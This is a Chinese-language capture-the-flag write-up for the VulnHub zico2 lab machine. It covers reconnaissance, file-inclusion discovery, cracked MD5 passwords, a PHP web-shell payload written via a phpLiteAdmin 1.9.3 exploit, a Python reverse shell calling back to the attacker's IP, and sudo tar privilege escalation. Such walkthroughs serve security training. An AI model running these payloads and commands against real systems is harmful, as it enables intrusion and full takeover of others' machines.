靶机地址:zico2: 1 ~ VulnHub
一、信息收集
步骤一:查看靶机的MAC地址:
步骤二:扫描目标主机
arp-scan -l
步骤三:使用nmap扫描开放的端口
nmap -sV -p- 192.168.7.195
步骤四:浏览器访问80端口
步骤五:使用dirsearch扫描目录,在扫描目录的同时回到靶机页面看看有无可利用的功能点
dirsearch -u http://192.168.7.195/
点击'CHECK THEM OUT!',出现的新页面,它的url可能存在文件包含漏洞,输入../../../../../../etc/passwd验证,发现存在此漏洞。
此时再返回看目录扫描的情况
步骤六:拼接/dbadmin/ ,点击test_db.php文件,出现一个新的登录框
步骤七:尝试弱口令登录 admin,登录成功
点击info,出现了两个用户和加密的密码,在MD5解密网站:MD5免费在线解密破解_MD5在线加密-SOMD5对密码进行解密操作
root 653F4B285089453FE00E2AAFAC573414 ——————> 34kroot34
zico 96781A607F4E9F5F423AC01F0DAB0EBD ——————> zico2215@
步骤八:该靶机开放了22端口,尝试使用ssh进行远程连接,发现都被拒绝
ssh root@192.168.7.195
ssh zico@192.168.7.195
二、权限获取
步骤九:根据最初得到的文件包含漏洞,将文件包含漏洞和phpLiteAdmin结合起来,向phpLiteAdmin写入一句话木马,利用文件包含漏洞执行插入的恶意代码
回到首页可得知phpLiteAdmin的版本为1.9.3,在kali上寻找其历史漏洞
searchsploit phpLiteAdmin
查看phpLiteAdmin1.9.3版本的漏洞描述
cp /usr/share/exploitdb/exploits/php/webapps/24044.txt . #将可利用的24044.txt文件复制到当前目录下
cat 24044.txt
根据描述创建一个新的数据库hack.php
在hack.php数据库下创建一个数据表2,创建成功后写入一句话木马
"<?php echo system($_GET["cmd"]); ?>"
浏览器拼接/view.php?page=../../../../../usr/databases/hack.php,写入成功
根据输入的一句话木马执行命令,尝试拼接&cmd=id,发现是低权限用户
探测是否存在python环境,发现存在
cmd=which python
攻击机kali开启监听端口,靶机执行反弹shell命令(生成反弹shell在线网站:反弹shell生成器),监听成功
nc -lvvp 5555
http://192.168.7.195/view.php?page=../../../../../usr/databases/hack.php&cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.7.251",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
输入id,发现是低权限用户
三、权限提升
切换成交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
cd /home #切换到家目录,看到zico(想起前文出现的一个用户就叫zico,应该可以利用)
cd zico #看到wordpress,想起里面有配置文件wp-config.php,它可能数据库信息
cd wordpress
cat wp-config.php #得到了zico的密码:sWfCsfJSPV9H3AmQzw8
切换zico用户
su zico
sudo -l #显示允许当前用户使用的命令
利用在线网站GTFOBins查找相关sudo命令
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
提权成功!